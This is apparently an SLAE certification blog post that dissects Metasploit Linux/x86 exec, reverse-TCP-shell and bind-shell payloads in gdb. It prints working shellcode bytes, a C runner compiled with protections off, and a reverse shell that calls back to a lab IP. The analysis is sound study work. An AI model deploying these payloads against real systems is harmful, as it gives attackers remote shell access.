This post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
###
PART 1 (execve analysis):
compile and check what it really does)
root@debian:/usr/local/src/SLAE/5_assigment# gcc -fno-stack-protector -z execstack exec.c -o exec
root@debian:/usr/local/src/SLAE/5_assigment# ./exec
Shellcode Length: 15
/usr/local/src/SLAE/5_assigment
Pwd works fine, let’s check our programm in gdb. Here it is gdb output with comments:
#Linux/x86/exec shellcode analysis
Analysis is done.
PART 2 (back connect shellcode analysis):
This is the third part of Assignment_5 task. In this part we gonna scrutinize shell_reverse_tcp payload (shellcode).
Run msfpayload, set custom LHOST, lport is default:
msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.91.129 C
/*
* linux/x86/shell_reverse_tcp - 68 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.91.129, LPORT=4444,
* ReverseConnectRetries=5, ReverseAllowProxy=false,
* PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x5b\x81\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
###
We have loaded this shellcode into C skeleton (see analysis 1 and 2) and compile it.
After that we gonna scrutinize it in GDB. Here it is gdb output with comments:
#Linux/x86/shell_reverse_tcp shellcode analysis
Analysis is done.
PART 3 (shell bind TCP analysis):
This is the second part of Assignment_5 task. In this part we gonna scrutinize shell_bind_tcp payload (shellcode).
Run msfpayload to generate shell_bind_tcp shellcode with port 5555:
root@Platon:~# msfpayload linux/x86/shell_bind_tcp LPORT=5555 C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=5555, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Now we load our code in C skeleton, compile and check what it really does:)
./shell_bind_tcp & netstat -anp | grep 5555
[2] 7847
Shellcode Length: 20
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 7847/shell_bind_tcp
The code works fine)
Let's load it in GDB and scrutinize it. Here it is commented GDB output:
#Linux/x86/shell_bind_tcp shellcode analysis
Analysis is done.
Student ID: SLAE-581
PART 1 (execve analysis):
This is the first part of Assignment_5 task. In this part we gonna scrutinize linux/x86/exec payload (shellcode).
Let’s take a look at the list of available shellcodes from msfpayload:
msfpayload -l | grep "linux/x86"
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Listen for a connection over IPv6, Staged meterpreter server
linux/x86/meterpreter/bind_nonx_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/bind_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/find_tag Use an established connection, Staged meterpreter server
linux/x86/meterpreter/reverse_ipv6_tcp Connect back to attacker over IPv6, Staged meterpreter server
linux/x86/meterpreter/reverse_nonx_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/meterpreter/reverse_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Listen for a connection over IPv6, Spawn a command shell (staged)
linux/x86/shell/bind_nonx_tcp Listen for a connection, Spawn a command shell (staged)
linux/x86/shell/bind_tcp Listen for a connection, Spawn a command shell (staged)
linux/x86/shell/find_tag Use an established connection, Spawn a command shell (staged)
linux/x86/shell/reverse_ipv6_tcp Connect back to attacker over IPv6, Spawn a command shell (staged)
linux/x86/shell/reverse_nonx_tcp Connect back to the attacker, Spawn a command shell (staged)
linux/x86/shell/reverse_tcp Connect back to the attacker, Spawn a command shell (staged)
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell
and dissect linux/x86/exec
S option will give your a summary about shellcode:
msfpayload linux/x86/exec S
Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 158
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Description:
Execute an arbitrary command
Msfpayload output in C format for pwd command:
msfpayload linux/x86/exec CMD=pwd C
/*
* linux/x86/exec - 39 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=pwd
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x04\x00\x00\x00\x70"
"\x77\x64\x00\x57\x53\x89\xe1\xcd\x80";
and for id command:
msfpayload linux/x86/exec CMD=id C
/*
* linux/x86/exec - 38 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=id
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69"
"\x64\x00\x57\x53\x89\xe1\xcd\x80";
It is clear that our commands (pwd, id) are stored in the following bytes:
echo -e "\x70\x77\x64" - pwd
echo -e "\x69\x64" - id
Let’s load our shellcode in C skeleton:
Let’s take a look at the list of available shellcodes from msfpayload:
msfpayload -l | grep "linux/x86"
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Listen for a connection over IPv6, Staged meterpreter server
linux/x86/meterpreter/bind_nonx_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/bind_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/find_tag Use an established connection, Staged meterpreter server
linux/x86/meterpreter/reverse_ipv6_tcp Connect back to attacker over IPv6, Staged meterpreter server
linux/x86/meterpreter/reverse_nonx_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/meterpreter/reverse_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Listen for a connection over IPv6, Spawn a command shell (staged)
linux/x86/shell/bind_nonx_tcp Listen for a connection, Spawn a command shell (staged)
linux/x86/shell/bind_tcp Listen for a connection, Spawn a command shell (staged)
linux/x86/shell/find_tag Use an established connection, Spawn a command shell (staged)
linux/x86/shell/reverse_ipv6_tcp Connect back to attacker over IPv6, Spawn a command shell (staged)
linux/x86/shell/reverse_nonx_tcp Connect back to the attacker, Spawn a command shell (staged)
linux/x86/shell/reverse_tcp Connect back to the attacker, Spawn a command shell (staged)
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell
and dissect linux/x86/exec
S option will give your a summary about shellcode:
msfpayload linux/x86/exec S
Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 158
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
Description:
Execute an arbitrary command
Msfpayload output in C format for pwd command:
msfpayload linux/x86/exec CMD=pwd C
/*
* linux/x86/exec - 39 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=pwd
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x04\x00\x00\x00\x70"
"\x77\x64\x00\x57\x53\x89\xe1\xcd\x80";
and for id command:
msfpayload linux/x86/exec CMD=id C
/*
* linux/x86/exec - 38 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, CMD=id
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03\x00\x00\x00\x69"
"\x64\x00\x57\x53\x89\xe1\xcd\x80";
It is clear that our commands (pwd, id) are stored in the following bytes:
echo -e "\x70\x77\x64" - pwd
echo -e "\x69\x64" - id
Let’s load our shellcode in C skeleton:
1 2 3 4 5 6 7 8 9 10 11 12 13 | #include<stdio.h> #include<string.h> unsigned char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68" "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x04\x00\x00\x00\x70" "\x77\x64\x00\x57\x53\x89\xe1\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } |
compile and check what it really does)
root@debian:/usr/local/src/SLAE/5_assigment# gcc -fno-stack-protector -z execstack exec.c -o exec
root@debian:/usr/local/src/SLAE/5_assigment# ./exec
Shellcode Length: 15
/usr/local/src/SLAE/5_assigment
Pwd works fine, let’s check our programm in gdb. Here it is gdb output with comments:
#Linux/x86/exec shellcode analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | gdb ./exec (gdb) set disassembly-flavor intel (gdb) b main ;breakpoint at main() function (gdb) info variables All defined variables: Non-debugging symbols: 0x08048518 _fp_hw 0x0804851c _IO_stdin_used 0x080485b0 __FRAME_END__ 0x080495b4 __frame_dummy_init_array_entry 0x080495b4 __init_array_start 0x080495b8 __do_global_dtors_aux_fini_array_entry 0x080495b8 __init_array_end 0x080495bc __JCR_END__ 0x080495bc __JCR_LIST__ 0x080495c0 _DYNAMIC 0x080496b4 _GLOBAL_OFFSET_TABLE_ 0x080496e0 __data_start 0x080496e0 data_start 0x080496e4 __dso_handle 0x08049700 shellcode 0x08049728 __TMC_END__ 0x08049728 completed.5730 (gdb) b *0x08049700 ;we have set a breakpoint at 0x08049700, which is nothing but - shellcode. Breakpoint 2 at 0x8049700 (gdb) run Starting program: /usr/local/src/SLAE/5_assigment/exec Breakpoint 1, 0x0804844f in main () (gdb) c Continuing. Shellcode Length: 15 Breakpoint 2, 0x08049700 in shellcode () (gdb) disas Dump of assembler code for function shellcode: => 0x08049700 <+0>: push 0xb ;pushing 11 code(execve) into stack 0x08049702 <+2>: pop eax ;extract 11 from stack and mov it to eax 0x08049703 <+3>: cdq ;Converts signed DWORD in EAX to a signed quad word in EDX:EAX (edx is now zero) 0x08049704 <+4>: push edx ;push edx value (0) into stack 0x08049705 <+5>: pushw 0x632d ;push WORD (2bytes) into stack (-c in reverse order, as 0x63 is c, and 2d is “-” in ascii table) 0x08049709 <+9>: mov edi,esp ;mov address of esp into edi (from which null terminated -c starts) 0x0804970b <+11>: push 0x68732f ;mov the part of /bin/sh in reversed order into the stack 0x08049710 <+16>: push 0x6e69622f ;mov the part of /bin/sh in reversed order into the stack ;echo -e "\x2f\x62\x69\x6e\x2f\x73\x68" /bin/sh 0x08049715 <+21>: mov ebx,esp ;store the pointer of /bin/sh into ebx 0x08049717 <+23>: push edx ;push 0 into stack Let’s call in mind the syntax of execve system call: ;execve(const char *filename, char *const argv[], char *const envp[]); Thus the registers are: EAX - contains 11 (execve code) EBX - contains the pointer to /bin/sh string (filename) ECX - should contain the pointer to /bin/sh, -c, pwd, 0x00000000 array (argv[]) EDX - contains zero (envp) EDI - contains ptr to -c argument Let’s examine a stack before int 0x80: (gdb) print /x $esp $44 = 0xbffffc5a (gdb) x/4xw 0xbffffc5a 0xbffffc5a: 0x00000000 0x6e69622f 0x0068732f 0x0000632d Here it is what is stored on stack righ now: (gdb) x/s 0xbffffc5a ; TOP of the stack 0xbffffc5a: "" (gdb) 0xbffffc5b: "" (gdb) 0xbffffc5c: "" (gdb) 0xbffffc5d: "" (gdb) 0xbffffc5e: "/bin/sh" (gdb) 0xbffffc66: "-c" (gdb) 0xbffffc69: "" (gdb) 0xbffffc6a: "" (gdb) 0xbffffc6b: "" (gdb) 0x08049718 <+24>: call 0x8049721 <shellcode+33> And here it is after call: (gdb) x/4xw $esp 0xbffffc56: 0x0804971d 0x00000000 0x6e69622f 0x0068732f (gdb) x/xs 0x0804971d 0x804971d <shellcode+29>: "pwd" Stack now contains “pwd” string thus we can conclude the “jmp-call-pop” technic has been used here. Let’s step in and look what is happinning: => 0x08049721 <shellcode+33>: push edi ;push "-c" into stack 0x08049722 <shellcode+34>: push ebx ;push /bin/sh into stack STACK NOW: (gdb) x/4xw $esp 0xbffffc4e: 0xbffffc5e 0xbffffc66 0x0804971d 0x00000000 (gdb) x/s 0xbffffc5e 0xbffffc5e: "/bin/sh" (gdb) x/s 0xbffffc66 0xbffffc66: "-c" (gdb) x/s 0x0804971d 0x804971d <shellcode+29>: "pwd" 0x08049723 <shellcode+35>: mov ecx,esp ;mov pointer to /bin/sh -c pwd into ECX REGISTERS BEFORE a system call: $67 = 0xb ; 11 - execve code $68 = 0xbffffc5e ; "/bin/sh" $69 = 0xbffffc4e ; pointer to “/bin/sh -c pwd” $70 = 0x0 ;NULL 0x08049725 <shellcode+37>: int 0x80 ;syscall End of assembler dump. |
Analysis is done.
PART 2 (back connect shellcode analysis):
This is the third part of Assignment_5 task. In this part we gonna scrutinize shell_reverse_tcp payload (shellcode).
Run msfpayload, set custom LHOST, lport is default:
msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.91.129 C
/*
* linux/x86/shell_reverse_tcp - 68 bytes
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.91.129, LPORT=4444,
* ReverseConnectRetries=5, ReverseAllowProxy=false,
* PrependFork=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x5b\x81\x68"
"\x02\x00\x11\x5c\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1"
"\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
###
We have loaded this shellcode into C skeleton (see analysis 1 and 2) and compile it.
After that we gonna scrutinize it in GDB. Here it is gdb output with comments:
#Linux/x86/shell_reverse_tcp shellcode analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | root@debian:/usr/local/src/SLAE/5_assigment# gdb ./shell_reverse_tcp (gdb) set disassembly-flavor intel (gdb) b main Breakpoint 1 at 0x804844f (gdb) info variables shellcode All variables matching regular expression "shellcode": Non-debugging symbols: 0x08049700 shellcode (gdb) b *0x08049700 Breakpoint 2 at 0x8049700 (gdb) run Starting program: /usr/local/src/SLAE/5_assigment/shell_reverse_tcp Breakpoint 1, 0x0804844f in main () (gdb) c Continuing. Shellcode Length: 31 Breakpoint 2, 0x08049700 in shellcode () (gdb) disas Let's try to figure out what this shellcode really do) We will use define hook-stop to automate the debug process: define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >print /x $eax >print /x $ebx >print /x $ecx >print /x $edx >x/4xw $esp >disas $eip,+10 >end ;This part of code is responsible for creation a socket file descriptor ;socket(int domain, int type, int protocol); => 0x08049700 <+0>: xor ebx,ebx ;zeroed ebx 0x08049702 <+2>: mul ebx ;zeroed eax and edx (multiply eax by ebx, and store result in edx:eax) 0x08049704 <+4>: push ebx ;push zero into stack (zero is protocol code) 0x08049705 <+5>: inc ebx ;increment ebx value, ebx=1 now; 1 is a code for sys_socket() 0x08049706 <+6>: push ebx ;push 1 into stack (this is a code for type (SOCK_STREAM)) 0x08049707 <+7>: push 0x2 ;push 2 into stack (this is a code for domain (AF_INET)) 0x08049709 <+9>: mov ecx,esp ;mov pointer to socket() args from stack into ecx 0x0804970b <+11>: mov al,0x66 ;mov socketcall() code into al 0x0804970d <+13>: int 0x80 ;run syscall ;This part of code is responsible for creation a copy of the file descriptor ;dup2(int oldfd, int newfd); 0x0804970f <+15>: xchg ebx,eax ;exchanging between registers. Transfer an old file descriptor from eax into ebx (eax contained the result of previous systemcall execution, which is nothing but a socket file descriptor), eax now contain 0x1 value 0x08049710 <+16>: pop ecx ;pop 0x2 from stack into ecx 0x08049711 <+17>: mov al,0x3f ;mov dup2 code into al 0x08049713 <+19>: int 0x80 ;run syscall 0x08049715 <+21>: dec ecx ;decrement ecx (ecx is now contains 1) 0x08049716 <+22>: jns 0x8049711 <shellcode+17> ;jump to 0x8049711 and do the same as before (mov X into ecx and then run dup2 syscall), where X is the file descriptor number which from 2 to 0 (stderror, stdout, stdin) due to ecx decrementing. ;This part of code is responsible for sys_connect ;See /usr/include/linux/net.h ;connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen); ;struct sockaddr (AF_INET, port, address) ;this is for struct sockaddr 0x08049718 <+24>: push 0x815ba8c0 ;push IP address (192.168.91.129) into stack. Where 0xc0 is 192, 0xa8 is 168 and so on.. 0x0804971d <+29>: push 0x5c110002 ;push Port number(0x115c) into stack ;AF_INET arg adding seems to be missed by gdb. 0x08049722 <+34>: mov ecx,esp ;push pointer to struct sockaddr args into ecx 0x08049724 <+36>: mov al,0x66 ;mov socketcall() code into al ;this is for connect() itself 0x08049726 <+38>: push eax ;this line may confused you, as the first push should be addrlen value (16) into stack. ;But here is what we have in GDB: => 0x08049726 <shellcode+38>: push eax 0x08049727 <shellcode+39>: push ecx 0x08049728 <shellcode+40>: push ebx 0x08049729 <shellcode+41>: mov bl,0x3 0x0804972b <shellcode+43>: mov ecx,esp 0x0804972d <shellcode+45>: int 0x80 0x0804972f <shellcode+47>: push edx End of assembler dump. 0x08049726 in shellcode () (gdb) stepi $109 = 0x66 $110 = 0x8 $111 = 0xbffffc3c $112 = 0x0 0xbffffc38: 0x00000066 0x5c110002 0x815ba8c0 0x00000001 Let's continue: 0x08049727 <+39>: push ecx ;mov pointer to struct sockaddr args into stack 0x08049728 <+40>: push ebx ;mov sockfd into stack 0x08049729 <+41>: mov bl,0x3 ;mov sys_connect() code into bl 0x0804972b <+43>: mov ecx,esp ;mov pointer to connect() args into ecx 0x0804972d <+45>: int 0x80 ;run syscall ;This part of code is responsible for spawning a shell when connect. ;execve(const char *filename, char *const argv[], char *const envp[]); 0x0804972f <+47>: push edx ;push 0 into stack 0x08049730 <+48>: push 0x68732f2f ;push /bin//sh into stack 0x08049735 <+53>: push 0x6e69622f ;push /bin//sh into stack 0x0804973a <+58>: mov ebx,esp ;push address of /bin//sh string into ebx 0x0804973c <+60>: push edx ;push 0 into stack 0x0804973d <+61>: push ebx ;push pointer to /bin//sh string into stack 0x0804973e <+62>: mov ecx,esp ;mov pointer to /bin//sh string into ecx 0x08049740 <+64>: mov al,0xb ;mov execve() code into al 0x08049742 <+66>: int 0x80 ;run syscall |
PART 3 (shell bind TCP analysis):
This is the second part of Assignment_5 task. In this part we gonna scrutinize shell_bind_tcp payload (shellcode).
Run msfpayload to generate shell_bind_tcp shellcode with port 5555:
root@Platon:~# msfpayload linux/x86/shell_bind_tcp LPORT=5555 C
/*
* linux/x86/shell_bind_tcp - 78 bytes
* http://www.metasploit.com
* VERBOSE=false, LPORT=5555, RHOST=, PrependFork=false,
* PrependSetresuid=false, PrependSetreuid=false,
* PrependSetuid=false, PrependSetresgid=false,
* PrependSetregid=false, PrependSetgid=false,
* PrependChrootBreak=false, AppendExit=false,
* InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x15\xb3\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Now we load our code in C skeleton, compile and check what it really does:)
./shell_bind_tcp & netstat -anp | grep 5555
[2] 7847
Shellcode Length: 20
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 7847/shell_bind_tcp
The code works fine)
Let's load it in GDB and scrutinize it. Here it is commented GDB output:
#Linux/x86/shell_bind_tcp shellcode analysis
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | gdb ./shell_bind_tcp -q Reading symbols from /usr/local/src/SLAE/5_assigment/shell_bind_tcp...(no debugging symbols found)...done. (gdb) b main ;breakpoint at main() function Breakpoint 1 at 0x804844f (gdb) info variables shellcode All variables matching regular expression "shellcode": Non-debugging symbols: 0x08049700 shellcode (gdb) b *0x08049700 ;we have set a breakpoint at 0x08049700, which is nothing but - shellcode. Breakpoint 2 at 0x8049700 (gdb) run Starting program: /usr/local/src/SLAE/5_assigment/shell_bind_tcp Breakpoint 1, 0x0804844f in main () (gdb) c Continuing. Shellcode Length: 20 Breakpoint 2, 0x08049700 in shellcode () (gdb) set disassembly-flavor intel Dump of assembler code for function shellcode: Here it is files which may help: ;/usr/include/*/asm/unistd_32.h ;cat /usr/include/linux/net.h ;How to create a socket ;socket(int domain, int type, int protocol) ;AF_INET(2), SOCK_STREAM(1), int protocol(0)
Disassembled code with comments:;This part of code is responsible for creation a socket file descriptor=> 0x08049700 <+0>: xor ebx,ebx ;zeroed ebx 0x08049702 <+2>: mul ebx ;zeroed eax, edx 0x08049704 <+4>: push ebx ;push 0 into stack, protocol 0x08049705 <+5>: inc ebx ;ebx now contain 1, and that is actually code for sys_socket 0x08049706 <+6>: push ebx ;push 1 into stack, SOCK_STREAM 0x08049707 <+7>: push 0x2 ;push 2 into stack, AF_INET 0x08049709 <+9>: mov ecx,esp ;push pointer to socket() args into ecx 0x0804970b <+11>: mov al,0x66 ;this is actually 102 in decimal(a code for using socketcall) 0x0804970d <+13>: int 0x80 ;run syscall
0x08049710 <+16>: pop esi ;from stack into esi
0x08049711 <+17>: push edx ;push zero into stack (any address to listen)
0x08049712 <+18>: push 0xb3150002 ;5555 port, reversed hex value 15b3, the first two bytes
0x08049717 <+23>: push 0x10 ;addrlen (16 in decimal)
0x08049719 <+25>: push ecx ;ptr to struct sockaddr args
0x0804971a <+26>: push eax ;sockfd
0x0804971b <+27>: mov ecx,esp ;ptr to bind() args
0x0804971d <+29>: push 0x66 ;socketcall() code (102 in decimal)
0x0804971f <+31>: pop eax ;extract socketcall() code from stack into eax
;;;;;;; REGISTERS and stack before bind() will run
;$eax = 0x66 ;socketcall
;$ebx = 0x2 ;bind()
;$ecx = 0xbffffc44 ;ptr to args for bind(), refers to the top of the stack
;$edx = 0x0
;STACK:
;x/8xw $esp
;0xbffffc44: 0x00000007 (this seems to be a fd) 0xbffffc50 (this is ptr for struct sockaddr args) 0x00000010 (addrlen) 0xb3150002
;0xbffffc54: 0x00000000 0x00000000 0x0804847f 0x08048520
;x/2xw 0xbffffc50 (ptr for struct sockaddr args)
0xbffffc50: 0xb3150002 (port) 0x00000000 (Internet address)
;the most interesting thing I have noticed while scrutinizing it - is that AF_INET argument is missing here.
;;;;;;;;
0x08049720 <+32>: int 0x80 ;run syscall
;listen(int sockfd, int backlog) 0x08049722 <+34>: mov DWORD PTR [ecx+0x4],eax 0x08049725 <+37>: mov bl,0x4 ;that is actually code for listen() 0x08049727 <+39>: mov al,0x66 ;socketcall() code (102 in decimal) 0x08049729 <+41>: int 0x80 ;run syscall
0x0804972c <+44>: mov al,0x66 ;socketcall() code (102 in decimal)
0x0804972e <+46>: int 0x80 ;run syscall
0x08049731 <+49>: pop ecx ;from stack to ecx 0x08049732 <+50>: push 0x3f ;that is actually code for dup2() (63 in decimal) 0x08049734 <+52>: pop eax ;extract 63 from stack into eax 0x08049735 <+53>: int 0x80 ;run syscall 0x08049737 <+55>: dec ecx ;decrement ecx 0x08049738 <+56>: jns 0x8049732 <shellcode+50> ;JNS Jump if not sign SF = 0. The sign flag is set if the result of an operation is negative, so we loop for filling ecx from 2 to 0 to create a file descriptors for STD_ERROR, STD_OUT, STD_IN |
Analysis is done.
No comments:
Post a Comment